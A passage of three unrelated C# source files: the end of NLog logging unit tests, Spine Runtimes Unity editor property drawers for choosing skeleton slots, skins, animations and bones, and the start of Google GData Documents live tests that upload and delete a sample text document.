if (enabled == 1) AssertDebugLastMessage("debug", "message from lambda");
if (enabled == 0)
AssertDebugCounter("debug", 0);
}
}
[Fact]
public void ConditionalDebugTest()
{
// test all possible overloads of the Debug() method
for (int enabled = 0; enabled < 2; ++enabled)
{
if (enabled == 0)
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='' writeTo='debug' />
</rules>
</nlog>");
}
else
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='Debug' writeTo='debug' />
</rules>
</nlog>");
}
var logger = LogManager.GetLogger("A");
logger.ConditionalDebug("message");
if (enabled == 1) AssertDebugLastMessage("debug", "message");
logger.ConditionalDebug("message{0}", (ulong)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", (ulong)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalDebug("message{0}", (long)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", (long)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalDebug("message{0}", (uint)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", (uint)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalDebug("message{0}", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalDebug("message{0}", (ushort)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", (ushort)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalDebug("message{0}", (sbyte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", (sbyte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalDebug("message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", this);
if (enabled == 1) AssertDebugLastMessage("debug", "messageobject-to-string");
logger.ConditionalDebug("message{0}", (short)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", (short)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalDebug("message{0}", (byte)1);
if (enabled == 1) AssertDebugLastMessage("debug", "message1");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", (byte)2);
if (enabled == 1) AssertDebugLastMessage("debug", "message2");
logger.ConditionalDebug("message{0}", 'c');
if (enabled == 1) AssertDebugLastMessage("debug", "messagec");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", 'd');
if (enabled == 1) AssertDebugLastMessage("debug", "messaged");
logger.ConditionalDebug("message{0}", "ddd");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee");
logger.ConditionalDebug("message{0}{1}", "ddd", 1);
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}{1}", "eee", 2);
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2");
logger.ConditionalDebug("message{0}{1}{2}", "ddd", 1, "eee");
if (enabled == 1) AssertDebugLastMessage("debug", "messageddd1eee");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}{1}{2}", "eee", 2, "fff");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fff");
logger.ConditionalDebug("message{0}{1}{2}{3}", "eee", 2, "fff", "ggg");
if (enabled == 1) AssertDebugLastMessage("debug", "messageeee2fffggg");
logger.ConditionalDebug("message{0}", true);
if (enabled == 1) AssertDebugLastMessage("debug", "messageTrue");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", false);
if (enabled == 1) AssertDebugLastMessage("debug", "messageFalse");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", (float)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", 2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.ConditionalDebug(CultureInfo.InvariantCulture, "message{0}", (decimal)2.5);
if (enabled == 1) AssertDebugLastMessage("debug", "message2.5");
logger.ConditionalDebug(delegate { return "message from lambda"; });
if (enabled == 1) AssertDebugLastMessage("debug", "message from lambda");
if (enabled == 0)
AssertDebugCounter("debug", 0);
}
}
#endif
#endregion
[Fact]
public void SwallowTest()
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' levels='Error' writeTo='debug' />
</rules>
</nlog>");
ILogger logger = LogManager.GetLogger("A");
bool warningFix = true;
bool executed = false;
logger.Swallow(() => executed = true);
Assert.True(executed);
Assert.Equal(1, logger.Swallow(() => 1));
Assert.Equal(1, logger.Swallow(() => 1, 2));
#if ASYNC_SUPPORTED
logger.SwallowAsync(Task.WhenAll()).Wait();
int executions = 0;
logger.Swallow(Task.Run(() => ++executions));
logger.SwallowAsync(async () => { await Task.Delay(20); ++executions; }).Wait();
Assert.True(executions == 2);
Assert.Equal(1, logger.SwallowAsync(async () => { await Task.Delay(20); return 1; }).Result);
Assert.Equal(1, logger.SwallowAsync(async () => { await Task.Delay(20); return 1; }, 2).Result);
#endif
AssertDebugCounter("debug", 0);
logger.Swallow(() => { throw new InvalidOperationException("Test message 1"); });
AssertDebugLastMessageContains("debug", "Test message 1");
Assert.Equal(0, logger.Swallow(() => { if (warningFix) throw new InvalidOperationException("Test message 2"); return 1; }));
AssertDebugLastMessageContains("debug", "Test message 2");
Assert.Equal(2, logger.Swallow(() => { if (warningFix) throw new InvalidOperationException("Test message 3"); return 1; }, 2));
AssertDebugLastMessageContains("debug", "Test message 3");
#if ASYNC_SUPPORTED
var fireAndFogetCompletion = new TaskCompletionSource<bool>();
fireAndFogetCompletion.SetException(new InvalidOperationException("Swallow fire and forget test message"));
logger.Swallow(fireAndFogetCompletion.Task);
while (!GetDebugLastMessage("debug").Contains("Swallow fire and forget test message"))
Thread.Sleep(10); // Polls forever since there is nothing to wait on.
var completion = new TaskCompletionSource<bool>();
completion.SetException(new InvalidOperationException("Test message 4"));
logger.SwallowAsync(completion.Task).Wait();
AssertDebugLastMessageContains("debug", "Test message 4");
logger.SwallowAsync(async () => { await Task.Delay(20); throw new InvalidOperationException("Test message 5"); }).Wait();
AssertDebugLastMessageContains("debug", "Test message 5");
Assert.Equal(0, logger.SwallowAsync(async () => { await Task.Delay(20); if (warningFix) throw new InvalidOperationException("Test message 6"); return 1; }).Result);
AssertDebugLastMessageContains("debug", "Test message 6");
Assert.Equal(2, logger.SwallowAsync(async () => { await Task.Delay(20); if (warningFix) throw new InvalidOperationException("Test message 7"); return 1; }, 2).Result);
AssertDebugLastMessageContains("debug", "Test message 7");
#endif
}
[Fact]
public void StringFormatWillNotCauseExceptions()
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog throwExceptions='true'>
<targets><target name='debug' type='Debug' layout='${message}' /></targets>
<rules>
<logger name='*' minLevel='Info' writeTo='debug' />
</rules>
</nlog>");
ILogger l = LogManager.GetLogger("StringFormatWillNotCauseExceptions");
// invalid format string
l.Info("aaaa {0");
AssertDebugLastMessage("debug", "aaaa {0");
}
[Fact]
public void MultipleLoggersWithSameNameShouldBothReceiveMessages()
{
LogManager.Configuration = CreateConfigurationFromString(@"
<nlog>
<targets>
<target name='first' type='Debug' layout='${message}' />
<target name='second' type='Debug' layout='${message}' />
</targets>
<rules>
<logger name='*' minlevel='Debug' writeTo='first' />
<logger name='*' minlevel='Debug' writeTo='second' />
</rules>
</nlog>");
var logger = LogManager.GetLogger("A");
const string logMessage = "Anything";
logger.Debug(logMessage);
AssertDebugLastMessage("first", logMessage);
AssertDebugLastMessage("second", logMessage);
}
[Fact]
public void When_Logging_LogEvent_Without_Level_Defined_No_Exception_Should_Be_Thrown()
{
var config = new LoggingConfiguration();
var target = new MyTarget();
config.LoggingRules.Add(new LoggingRule("*", LogLevel.Trace, target));
LogManager.Configuration = config;
var logger = LogManager.GetLogger("A");
Assert.Throws<InvalidOperationException>(() => logger.Log(new LogEventInfo()));
}
public abstract class BaseWrapper
{
public void Log(string what)
{
InternalLog(what);
}
protected abstract void InternalLog(string what);
}
public class MyWrapper : BaseWrapper
{
private readonly ILogger wrapperLogger;
public MyWrapper()
{
wrapperLogger = LogManager.GetLogger("WrappedLogger");
}
protected override void InternalLog(string what)
{
LogEventInfo info = new LogEventInfo(LogLevel.Warn, wrapperLogger.Name, what);
// Provide BaseWrapper as wrapper type.
// Expected: UserStackFrame should point to the method that calls a
// method of BaseWrapper.
wrapperLogger.Log(typeof(BaseWrapper), info);
}
}
public class MyTarget : TargetWithLayout
{
public MyTarget()
{
// enforce creation of stack trace
Layout = "${stacktrace}";
}
public LogEventInfo LastEvent { get; private set; }
protected override void Write(LogEventInfo logEvent)
{
LastEvent = logEvent;
base.Write(logEvent);
}
}
public override string ToString()
{
return "object-to-string";
}
}
}
| |
/******************************************************************************
* Spine Runtimes Software License v2.5
*
* Copyright (c) 2013-2016, Esoteric Software
* All rights reserved.
*
* You are granted a perpetual, non-exclusive, non-sublicensable, and
* non-transferable license to use, install, execute, and perform the Spine
* Runtimes software and derivative works solely for personal or internal
* use. Without the written permission of Esoteric Software (see Section 2 of
* the Spine Software License Agreement), you may not (a) modify, translate,
* adapt, or develop new applications using the Spine Runtimes or otherwise
* create derivative works or improvements of the Spine Runtimes or (b) remove,
* delete, alter, or obscure any trademarks or any copyright, trademark, patent,
* or other intellectual property or proprietary rights notices on or in the
* Software, including any copy thereof. Redistributions in binary or source
* form must include this license and terms.
*
* THIS SOFTWARE IS PROVIDED BY ESOTERIC SOFTWARE "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
* EVENT SHALL ESOTERIC SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, BUSINESS INTERRUPTION, OR LOSS OF
* USE, DATA, OR PROFITS) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
* IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*****************************************************************************/
// Contributed by: Mitch Thompson
using UnityEngine;
using UnityEditor;
using System;
using System.Collections.Generic;
using System.Reflection;
using Spine;
namespace Spine.Unity.Editor {
public struct SpineDrawerValuePair {
public string str;
public SerializedProperty property;
public SpineDrawerValuePair (string val, SerializedProperty property) {
this.str = val;
this.property = property;
}
}
public abstract class SpineTreeItemDrawerBase<T> : PropertyDrawer where T:SpineAttributeBase {
protected SkeletonDataAsset skeletonDataAsset;
internal const string NoneString = "<None>";
// Analysis disable once StaticFieldInGenericType
static GUIContent noneLabel;
static GUIContent NoneLabel (Texture2D image = null) {
if (noneLabel == null)
noneLabel = new GUIContent(NoneString);
noneLabel.image = image;
return noneLabel;
}
protected T TargetAttribute { get { return (T)attribute; } }
protected SerializedProperty SerializedProperty { get; private set; }
protected abstract Texture2D Icon { get; }
public override void OnGUI (Rect position, SerializedProperty property, GUIContent label) {
SerializedProperty = property;
if (property.propertyType != SerializedPropertyType.String) {
EditorGUI.LabelField(position, "ERROR:", "May only apply to type string");
return;
}
var dataField = property.FindBaseOrSiblingProperty(TargetAttribute.dataField);
if (dataField != null) {
if (dataField.objectReferenceValue is SkeletonDataAsset) {
skeletonDataAsset = (SkeletonDataAsset)dataField.objectReferenceValue;
} else if (dataField.objectReferenceValue is ISkeletonComponent) {
var skeletonComponent = (ISkeletonComponent)dataField.objectReferenceValue;
if (skeletonComponent != null)
skeletonDataAsset = skeletonComponent.SkeletonDataAsset;
} else {
EditorGUI.LabelField(position, "ERROR:", "Invalid reference type");
return;
}
} else if (property.serializedObject.targetObject is Component) {
var component = (Component)property.serializedObject.targetObject;
var skeletonComponent = component.GetComponentInChildren(typeof(ISkeletonComponent)) as ISkeletonComponent;
if (skeletonComponent != null)
skeletonDataAsset = skeletonComponent.SkeletonDataAsset;
}
if (skeletonDataAsset == null) {
EditorGUI.LabelField(position, "ERROR:", "Must have reference to a SkeletonDataAsset");
skeletonDataAsset = property.serializedObject.targetObject as SkeletonDataAsset;
if (skeletonDataAsset == null) return;
}
position = EditorGUI.PrefixLabel(position, label);
var image = Icon;
var propertyStringValue = (property.hasMultipleDifferentValues) ? SpineInspectorUtility.EmDash : property.stringValue;
if (GUI.Button(position, string.IsNullOrEmpty(propertyStringValue) ? NoneLabel(image) : SpineInspectorUtility.TempContent(propertyStringValue, image), EditorStyles.popup))
Selector(property);
}
public ISkeletonComponent GetTargetSkeletonComponent (SerializedProperty property) {
var dataField = property.FindBaseOrSiblingProperty(TargetAttribute.dataField);
if (dataField != null) {
var skeletonComponent = dataField.objectReferenceValue as ISkeletonComponent;
if (dataField.objectReferenceValue != null && skeletonComponent != null) // note the overloaded UnityEngine.Object == null check. Do not simplify.
return skeletonComponent;
} else {
var component = property.serializedObject.targetObject as Component;
if (component != null)
return component.GetComponentInChildren(typeof(ISkeletonComponent)) as ISkeletonComponent;
}
return null;
}
protected virtual void Selector (SerializedProperty property) {
SkeletonData data = skeletonDataAsset.GetSkeletonData(true);
if (data == null) return;
var menu = new GenericMenu();
PopulateMenu(menu, property, this.TargetAttribute, data);
menu.ShowAsContext();
}
protected abstract void PopulateMenu (GenericMenu menu, SerializedProperty property, T targetAttribute, SkeletonData data);
protected virtual void HandleSelect (object menuItemObject) {
var clickedItem = (SpineDrawerValuePair)menuItemObject;
clickedItem.property.stringValue = clickedItem.str;
clickedItem.property.serializedObject.ApplyModifiedProperties();
}
public override float GetPropertyHeight (SerializedProperty property, GUIContent label) {
return 18;
}
}
[CustomPropertyDrawer(typeof(SpineSlot))]
public class SpineSlotDrawer : SpineTreeItemDrawerBase<SpineSlot> {
protected override Texture2D Icon { get { return SpineEditorUtilities.Icons.slot; } }
protected override void PopulateMenu (GenericMenu menu, SerializedProperty property, SpineSlot targetAttribute, SkeletonData data) {
for (int i = 0; i < data.Slots.Count; i++) {
string name = data.Slots.Items[i].Name;
if (name.StartsWith(targetAttribute.startsWith, StringComparison.Ordinal)) {
if (targetAttribute.containsBoundingBoxes) {
int slotIndex = i;
var attachments = new List<Attachment>();
foreach (var skin in data.Skins)
skin.FindAttachmentsForSlot(slotIndex, attachments);
bool hasBoundingBox = false;
foreach (var attachment in attachments) {
var bbAttachment = attachment as BoundingBoxAttachment;
if (bbAttachment != null) {
string menuLabel = bbAttachment.IsWeighted() ? name + " (!)" : name;
menu.AddItem(new GUIContent(menuLabel), name == property.stringValue, HandleSelect, new SpineDrawerValuePair(name, property));
hasBoundingBox = true;
break;
}
}
if (!hasBoundingBox)
menu.AddDisabledItem(new GUIContent(name));
} else {
menu.AddItem(new GUIContent(name), name == property.stringValue, HandleSelect, new SpineDrawerValuePair(name, property));
}
}
}
}
}
[CustomPropertyDrawer(typeof(SpineSkin))]
public class SpineSkinDrawer : SpineTreeItemDrawerBase<SpineSkin> {
protected override Texture2D Icon { get { return SpineEditorUtilities.Icons.skin; } }
public static void GetSkinMenuItems (SkeletonData data, List<string> animationNames, List<GUIContent> menuItems, bool includeNone = true) {
if (data == null) return;
var skins = data.Skins;
animationNames.Clear();
menuItems.Clear();
var icon = SpineEditorUtilities.Icons.skin;
if (includeNone) {
animationNames.Add("");
menuItems.Add(new GUIContent(NoneString, icon));
}
foreach (var s in skins) {
var skinName = s.Name;
animationNames.Add(skinName);
menuItems.Add(new GUIContent(skinName, icon));
}
}
protected override void PopulateMenu (GenericMenu menu, SerializedProperty property, SpineSkin targetAttribute, SkeletonData data) {
menu.AddDisabledItem(new GUIContent(skeletonDataAsset.name));
menu.AddSeparator("");
for (int i = 0; i < data.Skins.Count; i++) {
string name = data.Skins.Items[i].Name;
if (name.StartsWith(targetAttribute.startsWith, StringComparison.Ordinal))
menu.AddItem(new GUIContent(name), name == property.stringValue, HandleSelect, new SpineDrawerValuePair(name, property));
}
}
}
[CustomPropertyDrawer(typeof(SpineAnimation))]
public class SpineAnimationDrawer : SpineTreeItemDrawerBase<SpineAnimation> {
protected override Texture2D Icon { get { return SpineEditorUtilities.Icons.animation; } }
public static void GetAnimationMenuItems (SkeletonData data, List<string> animationNames, List<GUIContent> menuItems, bool includeNone = true) {
if (data == null) return;
var animations = data.Animations;
animationNames.Clear();
menuItems.Clear();
if (includeNone) {
animationNames.Add("");
menuItems.Add(new GUIContent(NoneString, SpineEditorUtilities.Icons.animation));
}
foreach (var a in animations) {
var animationName = a.Name;
animationNames.Add(animationName);
menuItems.Add(new GUIContent(animationName, SpineEditorUtilities.Icons.animation));
}
}
protected override void PopulateMenu (GenericMenu menu, SerializedProperty property, SpineAnimation targetAttribute, SkeletonData data) {
var animations = skeletonDataAsset.GetAnimationStateData().SkeletonData.Animations;
if (TargetAttribute.includeNone)
menu.AddItem(new GUIContent(NoneString), string.IsNullOrEmpty(property.stringValue), HandleSelect, new SpineDrawerValuePair(string.Empty, property));
for (int i = 0; i < animations.Count; i++) {
string name = animations.Items[i].Name;
if (name.StartsWith(targetAttribute.startsWith, StringComparison.Ordinal))
menu.AddItem(new GUIContent(name), name == property.stringValue, HandleSelect, new SpineDrawerValuePair(name, property));
}
}
}
[CustomPropertyDrawer(typeof(SpineEvent))]
public class SpineEventNameDrawer : SpineTreeItemDrawerBase<SpineEvent> {
protected override Texture2D Icon { get { return SpineEditorUtilities.Icons.userEvent; } }
public static void GetEventMenuItems (SkeletonData data, List<string> eventNames, List<GUIContent> menuItems, bool includeNone = true) {
if (data == null) return;
var animations = data.Events;
eventNames.Clear();
menuItems.Clear();
if (includeNone) {
eventNames.Add("");
menuItems.Add(new GUIContent(NoneString, SpineEditorUtilities.Icons.userEvent));
}
foreach (var a in animations) {
var animationName = a.Name;
eventNames.Add(animationName);
menuItems.Add(new GUIContent(animationName, SpineEditorUtilities.Icons.userEvent));
}
}
protected override void PopulateMenu (GenericMenu menu, SerializedProperty property, SpineEvent targetAttribute, SkeletonData data) {
var events = skeletonDataAsset.GetSkeletonData(false).Events;
if (TargetAttribute.includeNone)
menu.AddItem(new GUIContent(NoneString), string.IsNullOrEmpty(property.stringValue), HandleSelect, new SpineDrawerValuePair(string.Empty, property));
for (int i = 0; i < events.Count; i++) {
string name = events.Items[i].Name;
if (name.StartsWith(targetAttribute.startsWith, StringComparison.Ordinal))
menu.AddItem(new GUIContent(name), name == property.stringValue, HandleSelect, new SpineDrawerValuePair(name, property));
}
}
}
[CustomPropertyDrawer(typeof(SpineIkConstraint))]
public class SpineIkConstraintDrawer : SpineTreeItemDrawerBase<SpineIkConstraint> {
protected override Texture2D Icon { get { return SpineEditorUtilities.Icons.constraintIK; } }
protected override void PopulateMenu (GenericMenu menu, SerializedProperty property, SpineIkConstraint targetAttribute, SkeletonData data) {
var constraints = skeletonDataAsset.GetSkeletonData(false).IkConstraints;
if (TargetAttribute.includeNone)
menu.AddItem(new GUIContent(NoneString), string.IsNullOrEmpty(property.stringValue), HandleSelect, new SpineDrawerValuePair(string.Empty, property));
for (int i = 0; i < constraints.Count; i++) {
string name = constraints.Items[i].Name;
if (name.StartsWith(targetAttribute.startsWith, StringComparison.Ordinal))
menu.AddItem(new GUIContent(name), name == property.stringValue, HandleSelect, new SpineDrawerValuePair(name, property));
}
}
}
[CustomPropertyDrawer(typeof(SpineTransformConstraint))]
public class SpineTransformConstraintDrawer : SpineTreeItemDrawerBase<SpineTransformConstraint> {
protected override Texture2D Icon { get { return SpineEditorUtilities.Icons.constraintTransform; } }
protected override void PopulateMenu (GenericMenu menu, SerializedProperty property, SpineTransformConstraint targetAttribute, SkeletonData data) {
var constraints = skeletonDataAsset.GetSkeletonData(false).TransformConstraints;
if (TargetAttribute.includeNone)
menu.AddItem(new GUIContent(NoneString), string.IsNullOrEmpty(property.stringValue), HandleSelect, new SpineDrawerValuePair(string.Empty, property));
for (int i = 0; i < constraints.Count; i++) {
string name = constraints.Items[i].Name;
if (name.StartsWith(targetAttribute.startsWith, StringComparison.Ordinal))
menu.AddItem(new GUIContent(name), name == property.stringValue, HandleSelect, new SpineDrawerValuePair(name, property));
}
}
}
[CustomPropertyDrawer(typeof(SpinePathConstraint))]
public class SpinePathConstraintDrawer : SpineTreeItemDrawerBase<SpinePathConstraint> {
protected override Texture2D Icon { get { return SpineEditorUtilities.Icons.constraintPath; } }
protected override void PopulateMenu (GenericMenu menu, SerializedProperty property, SpinePathConstraint targetAttribute, SkeletonData data) {
var constraints = skeletonDataAsset.GetSkeletonData(false).PathConstraints;
if (TargetAttribute.includeNone)
menu.AddItem(new GUIContent(NoneString), string.IsNullOrEmpty(property.stringValue), HandleSelect, new SpineDrawerValuePair(string.Empty, property));
for (int i = 0; i < constraints.Count; i++) {
string name = constraints.Items[i].Name;
if (name.StartsWith(targetAttribute.startsWith, StringComparison.Ordinal))
menu.AddItem(new GUIContent(name), name == property.stringValue, HandleSelect, new SpineDrawerValuePair(name, property));
}
}
}
[CustomPropertyDrawer(typeof(SpineAttachment))]
public class SpineAttachmentDrawer : SpineTreeItemDrawerBase<SpineAttachment> {
protected override Texture2D Icon { get { return SpineEditorUtilities.Icons.genericAttachment; } }
protected override void PopulateMenu (GenericMenu menu, SerializedProperty property, SpineAttachment targetAttribute, SkeletonData data) {
ISkeletonComponent skeletonComponent = GetTargetSkeletonComponent(property);
var validSkins = new List<Skin>();
if (skeletonComponent != null && targetAttribute.currentSkinOnly) {
Skin currentSkin = null;
var skinProperty = property.FindPropertyRelative(targetAttribute.skinField);
if (skinProperty != null) currentSkin = skeletonComponent.Skeleton.Data.FindSkin(skinProperty.stringValue);
currentSkin = currentSkin ?? skeletonComponent.Skeleton.Skin;
if (currentSkin != null)
validSkins.Add(currentSkin);
else
validSkins.Add(data.Skins.Items[0]);
} else {
foreach (Skin skin in data.Skins)
if (skin != null) validSkins.Add(skin);
}
var attachmentNames = new List<string>();
var placeholderNames = new List<string>();
string prefix = "";
if (skeletonComponent != null && targetAttribute.currentSkinOnly)
menu.AddDisabledItem(new GUIContent((skeletonComponent as Component).gameObject.name + " (Skeleton)"));
else
menu.AddDisabledItem(new GUIContent(skeletonDataAsset.name));
menu.AddSeparator("");
if (TargetAttribute.includeNone) {
const string NullAttachmentName = "";
menu.AddItem(new GUIContent("Null"), property.stringValue == NullAttachmentName, HandleSelect, new SpineDrawerValuePair(NullAttachmentName, property));
menu.AddSeparator("");
}
Skin defaultSkin = data.Skins.Items[0];
var slotProperty = property.FindBaseOrSiblingProperty(TargetAttribute.slotField);
string slotMatch = "";
if (slotProperty != null) {
if (slotProperty.propertyType == SerializedPropertyType.String)
slotMatch = slotProperty.stringValue.ToLower();
}
foreach (Skin skin in validSkins) {
string skinPrefix = skin.Name + "/";
if (validSkins.Count > 1)
prefix = skinPrefix;
for (int i = 0; i < data.Slots.Count; i++) {
if (slotMatch.Length > 0 && !(data.Slots.Items[i].Name.Equals(slotMatch, StringComparison.OrdinalIgnoreCase)))
continue;
attachmentNames.Clear();
placeholderNames.Clear();
skin.FindNamesForSlot(i, attachmentNames);
if (skin != defaultSkin) {
defaultSkin.FindNamesForSlot(i, attachmentNames);
skin.FindNamesForSlot(i, placeholderNames);
}
for (int a = 0; a < attachmentNames.Count; a++) {
string attachmentPath = attachmentNames[a];
string menuPath = prefix + data.Slots.Items[i].Name + "/" + attachmentPath;
string name = attachmentNames[a];
if (targetAttribute.returnAttachmentPath)
name = skin.Name + "/" + data.Slots.Items[i].Name + "/" + attachmentPath;
if (targetAttribute.placeholdersOnly && !placeholderNames.Contains(attachmentPath)) {
menu.AddDisabledItem(new GUIContent(menuPath));
} else {
menu.AddItem(new GUIContent(menuPath), name == property.stringValue, HandleSelect, new SpineDrawerValuePair(name, property));
}
}
}
}
}
}
[CustomPropertyDrawer(typeof(SpineBone))]
public class SpineBoneDrawer : SpineTreeItemDrawerBase<SpineBone> {
protected override Texture2D Icon { get { return SpineEditorUtilities.Icons.bone; } }
protected override void PopulateMenu (GenericMenu menu, SerializedProperty property, SpineBone targetAttribute, SkeletonData data) {
menu.AddDisabledItem(new GUIContent(skeletonDataAsset.name));
menu.AddSeparator("");
if (TargetAttribute.includeNone)
menu.AddItem(new GUIContent(NoneString), string.IsNullOrEmpty(property.stringValue), HandleSelect, new SpineDrawerValuePair(string.Empty, property));
for (int i = 0; i < data.Bones.Count; i++) {
string name = data.Bones.Items[i].Name;
if (name.StartsWith(targetAttribute.startsWith, StringComparison.Ordinal))
menu.AddItem(new GUIContent(name), name == property.stringValue, HandleSelect, new SpineDrawerValuePair(name, property));
}
}
}
[CustomPropertyDrawer(typeof(SpineAtlasRegion))]
public class SpineAtlasRegionDrawer : PropertyDrawer {
SerializedProperty atlasProp;
protected SpineAtlasRegion TargetAttribute { get { return (SpineAtlasRegion)attribute; } }
public override void OnGUI (Rect position, SerializedProperty property, GUIContent label) {
if (property.propertyType != SerializedPropertyType.String) {
EditorGUI.LabelField(position, "ERROR:", "May only apply to type string");
return;
}
string atlasAssetFieldName = TargetAttribute.atlasAssetField;
if (string.IsNullOrEmpty(atlasAssetFieldName))
atlasAssetFieldName = "atlasAsset";
atlasProp = property.FindBaseOrSiblingProperty(atlasAssetFieldName);
if (atlasProp == null) {
EditorGUI.LabelField(position, "ERROR:", "Must have AtlasAsset variable!");
return;
} else if (atlasProp.objectReferenceValue == null) {
EditorGUI.LabelField(position, "ERROR:", "Atlas variable must not be null!");
return;
} else if (atlasProp.objectReferenceValue.GetType() != typeof(AtlasAsset)) {
EditorGUI.LabelField(position, "ERROR:", "Atlas variable must be of type AtlasAsset!");
}
position = EditorGUI.PrefixLabel(position, label);
if (GUI.Button(position, property.stringValue, EditorStyles.popup))
Selector(property);
}
void Selector (SerializedProperty property) {
GenericMenu menu = new GenericMenu();
AtlasAsset atlasAsset = (AtlasAsset)atlasProp.objectReferenceValue;
Atlas atlas = atlasAsset.GetAtlas();
FieldInfo field = typeof(Atlas).GetField("regions", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
List<AtlasRegion> regions = (List<AtlasRegion>)field.GetValue(atlas);
for (int i = 0; i < regions.Count; i++) {
string name = regions[i].name;
menu.AddItem(new GUIContent(name), name == property.stringValue, HandleSelect, new SpineDrawerValuePair(name, property));
}
menu.ShowAsContext();
}
static void HandleSelect (object val) {
var pair = (SpineDrawerValuePair)val;
pair.property.stringValue = pair.str;
pair.property.serializedObject.ApplyModifiedProperties();
}
}
}
| |
#define USE_TRACING
#define DEBUG
using System;
using System.Collections.Generic;
using System.IO;
using Google.AccessControl;
using Google.Documents;
using Google.GData.Client.UnitTests;
using Google.GData.Documents;
using NUnit.Framework;
namespace Google.GData.Client.LiveTests
{
[TestFixture]
[Category("LiveTest")]
public class DocumentsTestSuite : BaseLiveTestClass
{
//////////////////////////////////////////////////////////////////////
public override string ServiceName
{
get { return "writely"; }
}
/////////////////////////////////////////////////////////////////////////////
/// <summary>
/// Tests word processor document creation and deletion
/// </summary>
[Test]
public void CreateDocumentTest()
{
//set up a text/plain file
string tempFile = Directory.GetCurrentDirectory();
tempFile = tempFile + Path.DirectorySeparatorChar + "docs_live_test.txt";
//Console.WriteLine("Creating temporary document at: " + tempFile);
using (StreamWriter sw = File.CreateText(tempFile))
{
sw.WriteLine("My name is Ozymandias, king of kings:");
sw.WriteLine("Look on my works, ye mighty, and despair!");
sw.Close();
}
DocumentsService service = new DocumentsService(ApplicationName);
if (userName != null)
{
service.Credentials = new GDataCredentials(userName, passWord);
}
service.RequestFactory = factory;
//pick a unique document name
string documentTitle = "Ozy " + Guid.NewGuid();
DocumentEntry entry = service.UploadDocument(tempFile, documentTitle);
Assert.IsNotNull(entry, "Should get a valid entry back from the server.");
Assert.AreEqual(documentTitle, entry.Title.Text, "Title on document should be what we provided.");
Assert.IsTrue(entry.IsDocument, "What we uploaded should come back as a text document type.");
Assert.IsTrue(entry.AccessControlList != null, "We should get an ACL list back");
try
{
Uri uri = new Uri(entry.AccessControlList);
Assert.IsTrue(uri.AbsoluteUri == entry.AccessControlList);
}
catch (Exception e)
{
throw e;
}
entry.Update();
//try to delete the document we created
entry.Delete();
//clean up the file we created
File.Delete(tempFile);
}
/// <summary>
/// Tests spreadsheet creation and deletion
/// </summary>
[Ignore("Currently delete is broken")]
[Test]
public void CreateSpreadsheetTest()
{
//set up a text/csv file
string tempFile = Directory.GetCurrentDirectory();
tempFile = tempFile + Path.DirectorySeparatorChar + "docs_live_test.csv";
//Console.WriteLine("Creating temporary document at: " + tempFile);
using (StreamWriter sw = File.CreateText(tempFile))
{
